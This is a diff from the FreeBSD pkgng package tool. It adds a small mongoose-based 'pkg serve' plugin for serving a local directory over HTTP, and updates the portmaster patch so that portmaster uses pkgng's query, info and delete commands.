+
 * Copyright (c) 2012 Marin Atanasov Nikolov <dnaeon@gmail.com>
+
 * All rights reserved.
+
 * 
+
 * Redistribution and use in source and binary forms, with or without
+
 * modification, are permitted provided that the following conditions
+
 * are met:
+
 * 1. Redistributions of source code must retain the above copyright
+
 *    notice, this list of conditions and the following disclaimer
+
 *    in this position and unchanged.
+
 * 2. Redistributions in binary form must reproduce the above copyright
+
 *    notice, this list of conditions and the following disclaimer in the
+
 *    documentation and/or other materials provided with the distribution.
+
 * 
+
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR(S) ``AS IS'' AND ANY EXPRESS OR
+
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
+
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
+
 * IN NO EVENT SHALL THE AUTHOR(S) BE LIABLE FOR ANY DIRECT, INDIRECT,
+
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
+
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
+
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
 */
+

+
#include <sys/types.h>
+
#include <sys/stat.h>
+

+
#include <stdio.h>
+
#include <sysexits.h>
+
#include <unistd.h>
+

+
#include <pkg.h>
+
#include <mongoose.h>
+

+
#include "serve.h"
+

+
#define PLUGIN_NAME "serve"
+

+
static void plugin_serve_usage(void);
+

+
int
+
pkg_plugins_init_serve(void)
+
{
+
	if (pkg_plugins_register_cmd(PLUGIN_NAME, &plugin_serve_callback) != EPKG_OK) {
+
		fprintf(stderr, "Plugin '%s' failed to hook into the library\n", PLUGIN_NAME);
+
		return (EPKG_FATAL);
+
	}
+

+
	return (EPKG_OK);
+
}
+

+
int
+
pkg_plugins_shutdown_serve(void)
+
{
+
	/* nothing to be done here */
+

+
	return (EPKG_OK);
+
}
+

+
static void
+
plugin_serve_usage(void)
+
{
+
	fprintf(stderr, "usage: pkg serve [-d <wwwroot>] [-p <port>]\n\n");
+
	fprintf(stderr, "A mongoose plugin for serving files\n");
+
}
+

+
int
+
plugin_serve_callback(int argc, char **argv)
+
{
+
	struct mg_context *ctx = NULL;
+
	struct stat st;
+
	const char *wwwroot = NULL;
+
	const char *port = NULL;
+
        int ch;
+

+
        while ((ch = getopt(argc, argv, "d:p:")) != -1) {
+
		switch (ch) {
+
		case 'd':
+
			wwwroot = optarg;
+
                        break;
+
                case 'p':
+
			port = optarg;
+
                        break;
+
                default:
+
                        plugin_serve_usage();
+
                        return (EX_USAGE);
+
                }
+
	}
+
	argc -= optind;
+
	argv += optind;
+

+
	/* default port to use is 8080 */
+
	if (port == NULL)
+
		port = "8080";
+

+
	if (wwwroot == NULL) {
+
		fprintf(stderr, ">>> You need to specify a directory for serving");
+
		return (EX_USAGE);
+
	}
+

+
	stat(wwwroot, &st);
+
	if (S_ISDIR(st.st_mode) == 0) {
+
		fprintf(stderr, ">>> '%s' is not a directory\n", wwwroot);
+
		return (EX_USAGE);
+
	}
+

+
	const char *options[] = {
+
		"listening_ports", port,
+
		"document_root", wwwroot,
+
		"enable_directory_listing", "yes",
+
		NULL, NULL
+
	};
+

+
	ctx = mg_start(NULL, NULL, options);
+

+
	printf(">>> Server listening on port %s\n", port);
+
	printf(">>> Serving directory %s\n", wwwroot);
+
	printf(">>> In order to stop the server press ENTER ...");
+
	
+
	getchar(); /* serve until user pressed enter */
+

+
	printf(">>> Shutting down server\n");
+
	
+
	mg_stop(ctx);
+

+
	printf(">>> Done\n");
+

+
	return (EPKG_OK);
+
}
added plugins/pkg-plugins-serve/plugin/serve.conf
@@ -0,0 +1,6 @@
+
# Configuration file for pkg-plugin-serve
+
enabled=YES
+
name=serve
+
description=A mongoose plugin for serving files
+
version=1.0
+
plugin=/usr/local/lib/libpkg-plugin-serve.so
added plugins/pkg-plugins-serve/plugin/serve.h
@@ -0,0 +1,37 @@
+
/*
+
 * Copyright (c) 2012 Marin Atanasov Nikolov <dnaeon@gmail.com>
+
 * All rights reserved.
+
 * 
+
 * Redistribution and use in source and binary forms, with or without
+
 * modification, are permitted provided that the following conditions
+
 * are met:
+
 * 1. Redistributions of source code must retain the above copyright
+
 *    notice, this list of conditions and the following disclaimer
+
 *    in this position and unchanged.
+
 * 2. Redistributions in binary form must reproduce the above copyright
+
 *    notice, this list of conditions and the following disclaimer in the
+
 *    documentation and/or other materials provided with the distribution.
+
 * 
+
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR(S) ``AS IS'' AND ANY EXPRESS OR
+
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
+
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
+
 * IN NO EVENT SHALL THE AUTHOR(S) BE LIABLE FOR ANY DIRECT, INDIRECT,
+
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
+
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
+
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
 */
+

+
#ifndef _PKG_PLUGINS_SERVE_H
+
#define _PKG_PLUGINS_SERVE_H
+

+
/* callback functions */
+
int plugin_serve_callback(int argc, char **argv);
+

+
/* plugin init and shutdown functions */
+
int pkg_plugins_init_serve(void);
+
int pkg_plugins_shutdown_serve(void);
+

+
#endif /* !_PKG_PLUGINS_SERVE_H */
modified ports/patch-portmaster-pkgng
@@ -1,15 +1,18 @@
-
--- portmaster.sh.in.orig	2012-05-12 12:32:59.760289065 +0200
-
+++ portmaster.sh.in	2012-05-12 16:10:44.050502931 +0200
-
@@ -49,7 +49,7 @@
+

+
$FreeBSD$
+

+
--- portmaster.sh.in.orig
+
+++ portmaster.sh.in
+
@@ -47,7 +47,7 @@
 #=============== Begin functions we always want to have ===============
 
 version () {
-
-	echo '' ; echo "===>>> Version 3.11"
-
+	echo '' ; echo "===>>> Version 3.11 (pkgng patch 1.0)"
-
 	#svn='$FreeBSD: user/dougb/portmaster/portmaster 228452 2011-12-13 06:51:56Z dougb $'
+
-	echo '' ; echo "===>>> Version 3.13.13"
+
+	echo '' ; echo "===>>> Version 3.13.13 (pkgng patch 1.5)"
+
 	#svn='$FreeBSD: user/dougb/portmaster/portmaster 238754 2012-07-24 20:15:41Z dougb $'
 }
 
-
@@ -125,6 +125,8 @@
+
@@ -134,6 +134,8 @@
 			if [ -n "$files" ]; then
 				pm_sv Deleting \'install complete\' flags
 				pm_find_s $pdb -type f -name PM_UPGRADE_DONE_FLAG -delete
@@ -18,7 +21,7 @@
 			fi
 		fi
 		if [ -z "$BACKUP" -a -z "$NO_BACKUP" -a -n "$NB_DELETE" ]; then
-
@@ -164,9 +166,14 @@
+
@@ -187,9 +189,14 @@
 		fi
 
 		: ${PAGER:='less -e'}
@@ -36,7 +39,7 @@
 		echo "===>>> Done displaying pkg-message files" ; echo '' ) | $PAGER ;;
 	esac
 
-
@@ -212,10 +219,14 @@
+
@@ -232,10 +239,14 @@
 	if [ -n "$build_deps_il" ]; then
 		echo "===>>> Deleting installed build-only dependencies"
 		cd
@@ -55,8 +58,8 @@
 		echo ''
 	fi
 
-
@@ -292,7 +303,13 @@
-
 			 unset -v PM_URB_LIST;
+
@@ -323,7 +334,13 @@
+
 pm_make_s         () { ( unset -v CUR_DEPS INSTALLED_LIST PM_DEPTH build_l PM_URB_LIST;
 			 $PM_SU_CMD /usr/bin/nice /usr/bin/make $PM_MAKE_ARGS $*; ); }
 pm_mkdir_s        () { $PM_SU_CMD /bin/mkdir -p $1; }
-pm_pkg_delete_s   () { $PM_SU_CMD /usr/sbin/pkg_delete $*; }
@@ -70,7 +73,7 @@
 pm_rm_s           () { $PM_SU_CMD /bin/rm $*; }
 pm_rmdir_s        () { $PM_SU_CMD /bin/rmdir $*; }
 pm_unlink_s       () { [ -e "$1" ] && $PM_SU_CMD /bin/unlink $1; }
-
@@ -340,6 +357,10 @@
+
@@ -371,6 +388,10 @@
 	[ -z "$port_dbdir" ] &&
 		port_dbdir=`pm_make_b -f/usr/share/mk/bsd.port.mk -V PORT_DBDIR 2>/dev/null`
 	[ -n "$port_dbdir" ] && export port_dbdir
@@ -81,7 +84,7 @@
 fi
 
 usage () {
-
@@ -496,12 +517,17 @@
+
@@ -527,12 +548,17 @@
 
 	pattern=`globstrip $1`
 
@@ -101,7 +104,7 @@
 	esac
 
 	unset glob_dirs
-
@@ -511,20 +537,35 @@
+
@@ -542,20 +568,35 @@
 origin_from_pdb () {
 	local o
 
@@ -142,7 +145,7 @@
 		echo '' >&2
 	fi
 	return 1
-
@@ -666,12 +707,17 @@
+
@@ -697,12 +738,17 @@
 	o)	REPLACE_ORIGIN=oopt ;;
 	p)	fail 'The -p option has been deprecated' ;;
 	r)	PM_URB=ropt
@@ -162,7 +165,7 @@
 			2)	fail 'The argument to -r must match only one port' ;;
 			esac
 		fi
-
@@ -753,6 +799,12 @@
+
@@ -784,6 +830,12 @@
 	    fail 'The -[ar] options are not compatible with other updates'
 
 	if [ -n "$PM_PACKAGES" -o -n "$PM_PACKAGES_BUILD" ]; then
@@ -175,7 +178,7 @@
 		[ `/sbin/sysctl -n kern.osreldate 2>/dev/null` -lt 600400 ] &&
 			fail Package installation support requires FreeBSD 6.4 or newer
 	fi
-
@@ -818,7 +870,12 @@
+
@@ -850,7 +902,12 @@
 		fi
 		unset INDEXFILE INDEXDIR
 
@@ -189,38 +192,38 @@
 		export PM_INDEX_PORTS
 
 		if [ -z "$pd" -o "$pd" != /usr/ports ]; then
-
@@ -875,6 +932,10 @@
+
@@ -907,6 +964,10 @@
 iport_from_origin () {
 	local sn dir
 
+	if [ -n "$use_pkgng" ]; then
-
+		pkg info -q ${1} || return 1
+
+		pkg info -qO ${1} || return 1
+		return
+	fi
 	sn=${1#*/} ; sn=${sn%-*} ; sn=${sn%%[0-9]*}
 
 	if ! dir=`grep -l "@comment ORIGIN:${1}$" $pdb/${sn}*/+CONTENTS 2>/dev/null`; then
-
@@ -903,7 +964,9 @@
+
@@ -935,7 +996,9 @@
 	done
 }
 
-
+# Useless with pkgng
+
+# Redundant with pkgng
 check_dependency_files () {
+	[ -n "$use_pkgng" ] && return
 	# Global: grep_deps
 	local origin iport ro_opd
 
-
@@ -985,7 +1048,9 @@
+
@@ -1017,7 +1080,9 @@
 	fi
 }
 
-
+# Also useless with pkgng
+
+# redundant with pkgng
 update_contents () {
+	[ -n "$use_pkgng" ] && return
-
 	local IFS delete contents origin n_port old_origin iport new_cont
+
 	local IFS delete contents origin n_port old_origin iport
 	local o_seen line d_missing d_origin d_iport prev_line answer
 
-
@@ -1083,7 +1148,7 @@
+
@@ -1117,7 +1182,7 @@
 	for l in `grep "^$sf|" $pd/MOVED`; do
 		case "$l" in
 		${sf}\|\|*) [ -n "$iport" ] || iport=`iport_from_origin $sf`
@@ -229,7 +232,7 @@
 				if [ -n "$PM_VERBOSE" ]; then
 					echo ''
 					echo "	===>>> The $sf port has been deleted"
-
@@ -1118,7 +1183,7 @@
+
@@ -1152,24 +1217,36 @@
 		echo ''
 
 		[ -n "$iport" ] || iport=`iport_from_origin $sf`
@@ -238,163 +241,126 @@
 	fi
 	return 0
 }
-
@@ -1129,35 +1194,62 @@
-
 	echo '############' > $DI_FILES		# Make the file > 0 bytes
-
 	echo "===>>> Gathering distinfo list for installed ports"
-
 	echo ''
-
-	for pkg in ${pdb}/*; do
-
-		[ -d $pkg ] || continue
-
-		iport=${pkg#$pdb/}
+
 
+
+all_pkgs_by_origin () {
+	if [ -z "$use_pkgng" ]; then
-
+		for pkg in ${pdb}/*; do
+
+		local pkg iport origin
+
+
+
+		for pkg in ${pdb}/* ; do
+			[ -d $pkg ] || continue
+			iport=${pkg#$pdb/}
-
 
-
-		origin=`origin_from_pdb $iport` || continue
+
+
+			origin=`origin_from_pdb $iport` || continue
-
 
-
-		if [ ! -d "$pd/$origin" ]; then
-
-			find_moved_port $origin $iport nonfatal >/dev/null
-
-			[ -n "$moved_npd" ] || continue
-
-			origin=$moved_npd
-
-		fi
-
+			if [ ! -d "$pd/$origin" ]; then
-
+				find_moved_port $origin $iport nonfatal >/dev/null
-
+				[ -n "$moved_npd" ] || continue
-
+				origin=$moved_npd
-
+			fi
-
 
-
-		origin="${pd}/${origin}"
-
+			origin="${pd}/${origin}"
-
 
-
-		if [ -s "${origin}/distinfo" ]; then
-
-			distinfo="${origin}/distinfo"
-
-		else
-
-			pm_cd $origin || continue
-
-			distinfo=`pm_make -V DISTINFO_FILE`
-
-			[ -n "$distinfo" ] || fail "No DISTINFO_FILE in $origin"
-
-		fi
-
+			if [ -s "${origin}/distinfo" ]; then
-
+				distinfo="${origin}/distinfo"
-
+			else
-
+				pm_cd $origin || continue
-
+				distinfo=`pm_make -V DISTINFO_FILE`
-
+				[ -n "$distinfo" ] || fail "No DISTINFO_FILE in $origin"
-
+			fi
-
 
-
-		if [ -s "$distinfo" ]; then
-
-			grep '^SHA256 ' $distinfo | while read disc1 f disc2; do
-
-				f=${f#(} ; f=${f%)}
-
-				echo $f >> $DI_FILES
-
-			done
-
-		fi
-
-	done
-
+			if [ -s "$distinfo" ]; then
-
+				grep '^SHA256 ' $distinfo | while read disc1 f disc2; do
-
+					f=${f#(} ; f=${f%)}
-
+					echo $f >> $DI_FILES
-
+				done
-
+			fi
+
+			echo $iport $origin
+		done
+	else
-
+		pkg query -a "%n-%v %o" | while read pkg origin; do
-
+			if [ ! -d "$pd/${origin}" ]; then
-
+				find_moved_port $origin $pkg nonfatal >/dev/null
-
+				[ -n "$moved_npd" ] || continue
-
+				origin=$moved_npd
-
+			fi
-
+
-
+			origin="${pd}/${origin}"
-
+
-
+			if [ -s "${origin}/distinfo" ]; then
-
+				distinfo="${origin}/distinfo"
-
+			else
-
+				pm_cd $origin || continue
-
+				distinfo=`pm_make -V DISTINFO_FILE`
-
+				[ -n "$distinfo" ] || fail "No DISTINFO_FILE in $origin"
-
+			fi
-
+
-
+			if [ -s "$distinfo" ]; then
-
+				grep '^SHA256 ' $distinfo | while read disc1 f disc2; do
-
+					f=${f#(} ; f=${f%)}
-
+					echo $f >> $DI_FILES
-
+				done
-
+			fi
-
+		done
+
+		pkg query -a "%n-%v %o"
+	fi
+
+	return
+
+}
+
+
+
 read_distinfos () {
+
-	local pkg iport origin distinfo s f discard
+
+	local iport origin distinfo s f discard
 
-
 	# Tell safe_exit that we are done
-
 	pm_unlink ${DI_FILES}-e
-
@@ -1203,25 +1295,45 @@
-
 }
+
 	echo '############' > $DI_FILES		# Make the file > 0 bytes
+
 	echo "===>>> Gathering distinfo list for installed ports"
+
 	echo ''
+
 
+
-	for pkg in ${pdb}/*; do
+
-		[ -d $pkg ] || continue
+
-		iport=${pkg#$pdb/}
+
-
+
-		origin=`origin_from_pdb $iport` || continue
+
-
+
+	all_pkgs_by_origin | while read iport origin; do
+
 		if [ ! -d "$pd/$origin" ]; then
+
 			find_moved_port $origin $iport nonfatal >/dev/null
+
 			[ -n "$moved_npd" ] || continue
+
@@ -1245,29 +1322,43 @@
 
-
 ports_by_category () {
-
-	local pkg
-
+	local pkg dep rdep
 	pm_v "===>>> Sorting ports by category"
 
+
-	num_roots=0; num_trunks=0; num_branches=0; num_leaves=0
-	for pkg in $pdb/*; do
-		if [ -s "$pkg/+REQUIRED_BY" ]; then
-			if grep -ql '^@pkgdep ' $pkg/+CONTENTS 2>/dev/null; then
-				branches="$branches ${pkg#$pdb/}"
+
-				num_branches=$(( $num_branches + 1 ))
+
-			else
+
-				trunks="$trunks ${pkg#$pdb/}"
+
-				num_trunks=$(( $num_trunks + 1 ))
+
-			fi
+
-		else
+
-			if grep -ql '^@pkgdep ' $pkg/+CONTENTS 2>/dev/null; then
+
-				leaves="$leaves ${pkg#$pdb/}"
+
-				num_leaves=$(( $num_leaves + 1 ))
+	if [ -z "$use_pkgng" ]; then
+
+		num_roots=0; num_trunks=0; num_branches=0; num_leaves=0
+		for pkg in $pdb/*; do
+			if [ -s "$pkg/+REQUIRED_BY" ]; then
+				if grep -ql '^@pkgdep ' $pkg/+CONTENTS 2>/dev/null; then
+					branches="$branches ${pkg#$pdb/}"
+
+					num_branches=$(( $num_branches + 1 ))
+				else
+					trunks="$trunks ${pkg#$pdb/}"
+
+					num_trunks=$(( $num_trunks + 1 ))
+				fi
 			else
-
-				trunks="$trunks ${pkg#$pdb/}"
+
-				[ -d "$pkg" ] || continue
+
-				roots="$roots ${pkg#$pdb/}"
+
-				num_roots=$(( $num_roots + 1 ))
+				if grep -ql '^@pkgdep ' $pkg/+CONTENTS 2>/dev/null; then
+					leaves="$leaves ${pkg#$pdb/}"
+
+					num_leaves=$(( $num_leaves + 1 ))
+				else
+					[ -d "$pkg" ] || continue
+					roots="$roots ${pkg#$pdb/}"
-
+				fi
-
 			fi
-
-		else
-
-			if grep -ql '^@pkgdep ' $pkg/+CONTENTS 2>/dev/null; then
-
-				leaves="$leaves ${pkg#$pdb/}"
-
+		done
-
+	else
-
+		while read pkg dep rdep; do
-
+			if [ $rdep -eq 1 ]; then
-
+				if [ $dep -eq 1 ]; then
-
+					branches="$branches $pkg"
-
+				else
-
+					trunks="$trunks $pkg"
-
+				fi
-
 			else
-
-				[ -d "$pkg" ] || continue
-
-				roots="$roots ${pkg#$pdb/}"
-
+				if [ $dep -eq 1 ]; then
-
+					leaves="$leaves $pkg"
-
+				else
-
+					roots="$roots $pkg"
+
+					num_roots=$(( $num_roots + 1 ))
+				fi
 			fi
-		fi
-	done
-
+		done << EOF
-
+`pkg query -a "%n-%v %?d %?r"`
-
+EOF
+
+		done
+
 
+
-	num_ports=$(( $num_roots + $num_trunks + $num_branches + $num_leaves ))
+
+		num_ports=$(( $num_roots + $num_trunks + $num_branches + $num_leaves ))
+
+	else
+
+		roots=`   pkg query -e "%#d = 0 && %#r = 0" "%n-%v"`
+
+		trunks=`  pkg query -e "%#d = 0 && %#r > 0" "%n-%v"`
+
+		branches=`pkg query -e "%#d > 0 && %#r > 0" "%n-%v"`
+
+		leaves=`  pkg query -e "%#d > 0 && %#r = 0" "%n-%v"`
+
+
+
+		num_roots=$(echo    $(echo $roots    | wc -w))
+
+		num_trunks=$(echo   $(echo $trunks   | wc -w))
+
+		num_branches=$(echo $(echo $branches | wc -w))
+
+		num_leaves=$(echo   $(echo $leaves   | wc -w))
+
+
+
+		num_ports=$(echo $(pkg query -a "%n-%v" | wc -w))
+	fi
 }
 
 delete_empty_dist_subdirs () {
-
@@ -1269,7 +1381,9 @@
+
@@ -1315,7 +1406,9 @@
 	esac
 }
 
-
+# Useless with pkgng
+
+# Redundant with pkgng
 update_required_by () {
+	[ -n "$use_pkgng" ] && /bin/unlink $grep_deps && unset grep_deps && return
-
 	# Global: grep_deps
+
 	# Global: needws
 	local do_update
 
-
@@ -1324,11 +1438,15 @@
+
@@ -1325,7 +1418,7 @@
+
 	else
+
 		do_update=do_update2
+
 	fi
+
-	if [ -n "$do_update" ]; then
+
+ 	if [ -n "$do_update" ]; then
+
 		pm_v "	===>>> Updating $1/+REQUIRED_BY"
+
 		needws=needws_urb
+
 		pm_install_s $grep_deps $pdb/$1/+REQUIRED_BY
+
@@ -1371,11 +1464,15 @@
 
 	echo "===>>> Checking for stale packages"
 	for package in `find $PACKAGES -type f | sort`; do
@@ -413,7 +379,7 @@
 
 		if [ -z "$PM_INDEX" ]; then
 			if [ -d "$pd/$origin" ]; then
-
@@ -1344,16 +1462,28 @@
+
@@ -1391,16 +1488,28 @@
 		fi
 
 		if [ -n "$port_ver" ]; then
@@ -451,7 +417,7 @@
 				fi
 				unset port_ver
 				continue
-
@@ -1364,10 +1494,18 @@
+
@@ -1411,10 +1520,18 @@
 
 			unset port_ver
 
@@ -473,7 +439,7 @@
 			fi
 		fi
 
-
@@ -1406,6 +1544,10 @@
+
@@ -1453,6 +1570,10 @@
 fi	# [ -n "$CLEAN_PACKAGES" ]
 
 if [ -n "$CHECK_DEPENDS" ]; then
@@ -484,7 +450,7 @@
 	PM_VERBOSE=pmv_check_depends
 IFS='
 '
-
@@ -1452,24 +1594,42 @@
+
@@ -1499,24 +1620,42 @@
 	unique_list=':'
 
 	echo "===>>> Building list of installed port names"; echo ''
@@ -542,7 +508,7 @@
 
 	echo "===>>> Checking $port_dbdir"
 
-
@@ -1570,7 +1730,7 @@
+
@@ -1617,7 +1756,7 @@
 
 	if [ -z "$do_update" -a -z "$skip" -a -z "$PM_INDEX_ONLY" ] && [ -d "$pd/$origin" ]; then
 		if ! pm_cd $pd/$origin; then
@@ -551,7 +517,7 @@
 				echo "	===>>> Warning: Unable to cd to $pd/$origin"
 				echo "	===>>> Continuing due to $pdb/$iport/+IGNOREME"
 				echo ''
-
@@ -1587,13 +1747,13 @@
+
@@ -1634,13 +1773,13 @@
 
 		# If the port has moved and no +IGNOREME, we have to update it
 		if [ -n "$moved_npd" ]; then
@@ -568,7 +534,7 @@
 			fi
 		fi
 	fi
-
@@ -1610,14 +1770,20 @@
+
@@ -1657,14 +1796,20 @@
 				unset port_ver
 			fi
 		else
@@ -591,7 +557,7 @@
 			esac
 
 			[ -z "$do_update" ] && {
-
@@ -1633,8 +1799,9 @@
+
@@ -1680,8 +1825,9 @@
 	if [ -n "$LIST_PLUS" ]; then
 		if [ -z "$moved_npd" ]; then
 			echo "	===>>> New version available: $port_ver"
@@ -602,7 +568,7 @@
 			pm_cd_pd $origin && check_state
 			num_updates=$(( $num_updates + 1 ))
 		else
-
@@ -1689,7 +1856,13 @@
+
@@ -1736,7 +1882,13 @@
 	fi
 
 	pm_cd $pkgdir || fail "Cannot cd into $pkgdir to create a package"
@@ -617,7 +583,7 @@
 		if [ "$1" = "$pbu" ]; then
 			if [ -n "$BACKUP" ]; then
 				echo "	===>>> Package saved to $1" ; echo ''
-
@@ -2028,10 +2201,14 @@
+
@@ -2085,10 +2237,14 @@
 fi
 
 if [ -n "$EXPUNGE" ]; then
@@ -634,7 +600,7 @@
 		2)	echo "===>>> $EXPUNGE matched multiple ports"
 			fail "The -e option works with only one port at a time" ;;
 		0)	EXPUNGE=${glob_dirs#$pdb/}
-
@@ -2040,15 +2217,24 @@
+
@@ -2097,15 +2253,24 @@
 	fi
 
 	origin=`origin_from_pdb $EXPUNGE`
@@ -664,9 +630,9 @@
 				update_contents delete $f $origin
 			done ;;
 		*)	exit 1 ;;
-
@@ -2058,8 +2244,13 @@
+
@@ -2115,8 +2280,13 @@
 	[ -n "$BACKUP" ] && { init_packages ; pm_pkg_create $pbu $EXPUNGE; }
-
 	[ -z "$DONT_SCRUB_DISTFILES" ] && { delete_all_distfiles $origin; delete_dist_list; }
+
 	[ -z "$DONT_SCRUB_DISTFILES" ] && delete_all_distfiles $origin
 
-	echo "===>>> Running pkg_delete -f $EXPUNGE"
-	pm_pkg_delete_s -f $EXPUNGE || fail 'pkg_delete failed'
@@ -680,7 +646,7 @@
 
 	echo '' ; echo "===>>> Running ${0##*/} -s $ARGS"
 	exec $0 -s $ARGS
-
@@ -2069,13 +2260,21 @@
+
@@ -2126,13 +2296,21 @@
 if [ -n "$CLEAN_STALE" ]; then
 	[ -z "$no_del_list" ] && export no_del_list=':'
 
@@ -704,23 +670,23 @@
 		if [ -n "$deplist" ]; then
 			echo ''
 			echo "===>>> Warning: Unrecorded dependencies on ${iport}:"
-
@@ -2088,22 +2287,32 @@
+
@@ -2145,22 +2323,32 @@
 			continue
 		fi
 
-
-		pkg_info $iport
+
-		echo '' ; pkg_info $iport
+		if [ -z "$use_pkgng" ]; then
-
+			pkg_info $iport
+
+			echo '' ; pkg_info $iport
+			pkg_delete="pkg_delete"
+		else
-
+			pkg info -f $iport
+
+			echo '' ; pkg info -f $iport
+			pkg_delete="pkg delete"
+		fi
 
 		get_answer_yn n "\t===>>> ${iport} is no longer depended on, delete"
 		case "$?" in
 		0)	[ -n "$BACKUP" ] && { init_packages ; pm_pkg_create $pbu $iport; }
-
 			[ -z "$DONT_SCRUB_DISTFILES" ] && { delete_all_distfiles $origin; delete_dist_list; }
+
 			[ -z "$DONT_SCRUB_DISTFILES" ] && delete_all_distfiles $origin
 
-			echo "===>>> Running pkg_delete -f $iport"
-			pm_pkg_delete_s -f $iport || fail 'pkg_delete failed'
@@ -745,7 +711,7 @@
 		esac
 	done
 	exit 0
-
@@ -2126,7 +2335,7 @@
+
@@ -2182,7 +2370,7 @@
 	# to go out to the disk if we don't have to.
 	[ -z "$RESTART" ] && return 1
 
@@ -754,7 +720,7 @@
 		return 1
 	else
 		already_done $1
-
@@ -2143,7 +2352,7 @@
+
@@ -2199,7 +2387,7 @@
 	case "$INTERACTIVE_YES" in *:${1}:*) return 0 ;; esac
 	case "$INTERACTIVE_NO" in *:${1}:*) return 1 ;; esac
 
@@ -763,9 +729,9 @@
 		echo ''
 		echo "===>>> +IGNOREME file is present for $1"
 		echo ''
-
@@ -2243,7 +2452,13 @@
-
 			fail "No entry for $origin in $PM_INDEX"
-
 	fi
+
@@ -2314,7 +2502,13 @@
+
 
+
 	find_new_port $origin
 
-	case `pkg_version -t $iport $new_port 2>/dev/null` in
+	local pkg_version
@@ -778,7 +744,7 @@
 	\<)	build_l="${build_l}\tUpgrade $iport to $new_port\n" ;;
 	=)	build_l="${build_l}\tRe-install $iport\n" ;;
 	\>)	build_l="${build_l}\tDowngrade $iport to $new_port\n" ;;
-
@@ -2397,6 +2612,18 @@
+
@@ -2464,6 +2658,18 @@
 		rundeps=`gen_dep_list run-depends-list`
 
 		for dep in $d_port_list; do
@@ -797,7 +763,7 @@
 			case "$rundeps" in
 			*" ${dep} "*|*${dep}*)
 				varname=`echo ${dep#$pd/} | sed 's#[-+/\.]#_#g'`
-
@@ -2466,7 +2693,11 @@
+
@@ -2533,7 +2739,11 @@
 				fail "Cannot cd to $d_port"
 			fi
 			for glob in $conflicts; do
@@ -809,34 +775,31 @@
+				fi
 				if [ -n "$confl_p" ]; then
 					confl_p=${confl_p%% *}
-
 					echo ''
-
@@ -2601,8 +2832,13 @@
+
 					d_port="$pd/`origin_from_pdb $confl_p`"
+
@@ -2676,7 +2886,11 @@
 		done
 
 		for dep in $build_only_dl_g; do
-
-			grep -q "@comment DEPORIGIN:${dep#$pd/}$" $pdb/*/+CONTENTS ||
-
-				temp_bodlg="$temp_bodlg $dep"
+
-			grep -q "@comment DEPORIGIN:${dep#$pd/}$" $pdb/*/+CONTENTS && continue
+			if [ -z "$use_pkgng" ]; then
-
+				grep -q "@comment DEPORIGIN:${dep#$pd/}$" $pdb/*/+CONTENTS ||
-
+					temp_bodlg="$temp_bodlg $dep"
+
+				grep -q "@comment DEPORIGIN:${dep#$pd/}$" $pdb/*/+CONTENTS && continue
+			else
-
+				[ "`pkg query "%?r" ${dep#$pd/}`" = "1" ] ||
-
+					temp_bodlg="$temp_bodlg $dep"
+
+				[ "`pkg query "%?r" ${dep#$pd/}`" = "1" ] && continue
+			fi
-
 		done
-
 
-
 		build_only_dl_g=" `uniquify_list $temp_bodlg` "
-
@@ -2626,7 +2862,7 @@
+
 			[ -n "$PM_DEL_BUILD_ONLY" ] &&
+
 				iport_from_origin ${dep#$pd/} >/dev/null && continue
+
 			temp_bodlg="$temp_bodlg $dep"
+
@@ -2703,7 +2917,7 @@
 
 urb_update () {
 	# Global: PM_URB_UP
-	local verb origin req_by
+	local verb origin req_by req_by_o
 
-
 	verb=checking ; [ -n "$1" ] && verb=updating
+
 	verb=Checking ; [ -n "$1" ] && verb=Updating
 
-
@@ -2636,15 +2872,25 @@
-
 	echo ''
+
@@ -2713,15 +2927,25 @@
+
 	PM_PARENT_PORT="$verb dependent ports"
 
 	for origin in $PM_URB_ORIGINS; do
-		for req_by in `grep -l DEPORIGIN:${origin}$ $pdb/*/+CONTENTS`; do
@@ -868,7 +831,7 @@
 	done
 
 	if [ -n "$PM_URB_LIST" ]; then
-
@@ -2656,7 +2902,11 @@
+
@@ -2733,7 +2957,11 @@
 
 	for req_by in $PM_URB_LIST; do
 		# Probably not needed, but JIC
@@ -881,7 +844,7 @@
 
 		pm_v "===>>> $req_by depends on $PM_URB_IPORTS"
 
-
@@ -2697,12 +2947,16 @@
+
@@ -2774,12 +3002,16 @@
 			else
 				fail "$pd/${port} does not exist"
 			fi ;;
@@ -900,7 +863,7 @@
 				*)	local dir
 					for dir in $glob_dirs; do
 					worklist_temp="$worklist_temp ${dir#$pdb/}"
-
@@ -2806,9 +3060,16 @@
+
@@ -2894,9 +3126,16 @@
 		*/*)	origin=$port ;;
 		*)	# If an installed version does not exist at this
 			# point it probably got updated as a dependency
@@ -920,9 +883,9 @@
 			fi
 			origin=`origin_from_pdb $port` ;;
 		esac
-
@@ -3032,11 +3293,16 @@
+
@@ -3120,7 +3359,11 @@
+
 	argv=${argv:-$1} ; argv=${argv%/} ; argv=`globstrip $argv`
 	case "$argv" in
-
